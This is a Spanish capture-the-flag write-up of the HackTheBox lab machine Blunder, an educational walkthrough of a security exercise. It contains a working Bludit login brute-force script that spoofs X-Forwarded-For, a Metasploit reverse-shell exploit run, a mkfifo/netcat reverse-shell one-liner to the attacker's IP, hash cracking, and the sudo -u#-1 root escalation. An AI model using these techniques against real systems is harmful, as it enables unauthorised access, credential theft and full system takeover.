Blunder es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Blunder 10.10.10.191 a /etc/hosts como blunder.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 |
# Nmap 7.80 scan initiated Sun May 31 20:58:08 2020 as: nmap -sV -Pn -p- -oA blunder 10.10.10.191 Nmap scan report for blunder.htb (10.10.10.191) Host is up (0.58s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 21/tcp closed ftp 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 31 21:17:03 2020 -- 1 IP address (1 host up) scanned in 1135.71 seconds |
En esta máquina no tenemos mucho donde mirar de primeras así que vamos directamente al portal web en el puerto 80.
Enumeración
Accedemos a la web y nos encontramos con la siguiente pantalla:
De primeras no vemos mucha información que parezca útil así que escaneamos el portal en busca de directorios y ficheros existentes. Utilizaremos gobuster para esta tarea:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
=============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.191/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: txt [+] Timeout: 10s =============================================================== 2020/05/31 19:56:17 Starting gobuster =============================================================== /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /0 (Status: 200) /LICENSE (Status: 200) /about (Status: 200) /admin (Status: 301) /cgi-bin/ (Status: 301) /robots.txt (Status: 200) /robots.txt (Status: 200) /server-status (Status: 403) /todo.txt (Status: 200) /usb (Status: 200) =============================================================== 2020/05/31 20:05:25 Finished =============================================================== |
Y encontramos dos partes interesantes, un fichero de texto llamado todo.txt, en el cual encontramos un nombre de usuario, fergus, y cuyo contenido es el siguiente:
1 2 3 4 |
-Update the CMS -Turn off FTP - DONE -Remove old users - DONE -Inform fergus that the new blog needs images - PENDING |
Y una pantalla de login en la dirección /admin como vemos en la siguiente captura:
Esto ya nos da más pistas del CMS utilizado, Bludit en este caso, y buscamos en google acerca del mismo y posibles vulnerabilidades y encontramos el siguiente post donde explica como realizar un ataque de fuerza bruta para bypassear las protecciones.
Obtenemos el script en cuestión, pero le hacemos algunas modificaciones, quedando nuestro código de la siguiente forma:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#!/usr/bin/env python3 import re import requests host = 'http://blunder.htb' login_url = host + '/admin/login' username = 'fergus' wordlist = [] with open("dictionary.txt") as file: wordlist = file.readlines() for password in wordlist: password = password.replace("\n","") session = requests.Session() login_page = session.get(login_url) csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) print('[*] Trying: {p}'.format(p = password)) headers = { 'X-Forwarded-For': password, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', 'Referer': login_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password, 'save': '' } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if 'location' in login_result.headers: if '/admin/dashboard' in login_result.headers['location']: print() print('SUCCESS: Password found!') print('Use {u}:{p} to login.'.format(u = username, p = password)) print() break |
Y ahora, para realizar nuestro ataque, generaremos un diccionario mediante el uso de la tool cewl con las palabras existentes en el portal:
1 |
$ cewl -m 4 -w dictionary.txt http://10.10.10.191/ |
Una vez que tenemos el usuario y el diccionario, lanzamos nuestro script para conseguir el usuario con el que loguearnos en el portal:
1 2 3 4 5 |
$ ./login.py [*] Trying: RolandDeschain SUCCESS: Password found! Use fergus:RolandDeschain to login. |
Y ya tenemos las credenciales, así que accedemos al mismo y nos encontramos con el siguiente dashboard:
Y revisamos que hay una sección en la que puedes crear tu propio post y subir imágenes al mismo, que buscando en google, existe una vulnerabilidad para conseguir una shell por este método en el siguiente post de exploit-db y podemos ver un aspecto del mismo en la siguiente captura:
Realizamos alguna prueba pero los continuos reseteos de la máquina hacen que sea complicado conseguir la misma, así que utilizamos un exploit existente en metasploit para este fin llamado bludit_upload_images_exec y conseguimos nuestra shell con el usuario www-data:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
msf5 exploit(linux/http/bludit_upload_images_exec) > show options Module options (exploit/linux/http/bludit_upload_images_exec): Name Current Setting Required Description ---- --------------- -------- ----------- BLUDITPASS RolandDeschain yes The password for Bludit BLUDITUSER fergus yes The username for Bludit Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.191 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path for Bludit VHOST no HTTP server virtual host Payload options (php/reverse_php): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Bludit v3.9.2 msf5 exploit(linux/http/bludit_upload_images_exec) > set lhost 10.10.14.26 lhost => 10.10.14.26 msf5 exploit(linux/http/bludit_upload_images_exec) > exploit [*] Started reverse TCP handler on 10.10.14.26:4444 [+] Logged in as: fergus [*] Retrieving UUID... [*] Uploading JpdYXqzErm.png... [*] Uploading .htaccess... [*] Executing JpdYXqzErm.png... [*] Command shell session 1 opened (10.10.14.26:4444 -> 10.10.10.191:60168) at 2020-05-31 20:43:07 +0200 [+] Deleted .htaccess whoami www-data |
Como esta shell es bastante limitada, vamos a obtener una nueva, ejecutaremos un netcat en la máquina con mkfifo:
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 1234 >/tmp/f |
Y obtendremos una shell más estable en nuestra escucha:
1 2 3 4 5 |
$ nc -lvp 1234 listening on [any] 1234 ... connect to [10.10.14.26] from blunder.htb [10.10.10.191] 46600 /bin/sh: 0: can't access tty; job control turned off $ |
Y ahora, con la ayuda de python conseguiremos una shell en bash:
1 2 |
$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ |
Ahora continuamos enumerando la máquina y encontramos unas credenciales del usuario hugo en el fichero de base de datos del código de la otra versión existente de bludit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php <?php defined('BLUDIT') or die('Bludit CMS.'); ?> { "admin": { "nickname": "Hugo", "firstName": "Hugo", "lastName": "", "role": "User", "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d", "email": "", "registered": "2019-11-27 07:40:55", "tokenRemember": "", "tokenAuth": "b380cb62057e9da47afce66b4615107d", "tokenAuthTTL": "2009-03-15 14:00", "twitter": "", "facebook": "", "instagram": "", "codepen": "", "linkedin": "", "github": "", "gitlab": ""} } |
Utilizaremos la herramienta online de crackstation.net para conseguir descifrar el hash:
Obteniendo la flag de user
Con el hash descifrado sólo nos queda escalar al usuario hugo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su - hugo Password: hugo@blunder:~$ whoami whoami hugo hugo@blunder:~$ ls -l ls -l total 36 drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Desktop drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Documents drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Downloads drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Music drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Pictures drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Public drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Templates -r-------- 1 hugo hugo 33 May 31 21:30 user.txt drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Videos hugo@blunder:~$ |
Y ya tenemos la flag de user.
Escalado de privilegios
El escalado en esta máquina ha sido realmente sencillo. Revisamos los permisos de sudo del usuario y encontramos lo siguiente:
1 2 3 4 5 6 7 8 9 10 11 |
hugo@blunder:~$ sudo -l sudo -l Password: Password120 Matching Defaults entries for hugo on blunder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User hugo may run the following commands on blunder: (ALL, !root) /bin/bash hugo@blunder:~$ |
Y con una simple búsqueda en google encontramos una vulnerabilidad en sudo con la cual podemos escalar privilegios:
https://www.exploit-db.com/exploits/47502
Obteniendo la flag de root
Ejecutamos el comando de sudo en cuestión para explotar la vulnerabilidad y conseguir acceso como root en la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 |
hugo@blunder:~$ sudo -u#-1 /bin/bash sudo -u#-1 /bin/bash root@blunder:/home/hugo# whoami whoami root root@blunder:/home/hugo# cd /root cd /root root@blunder:/root# ls -l ls -l total 4 -r-------- 1 root root 33 May 31 21:30 root.txt root@blunder:/root# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792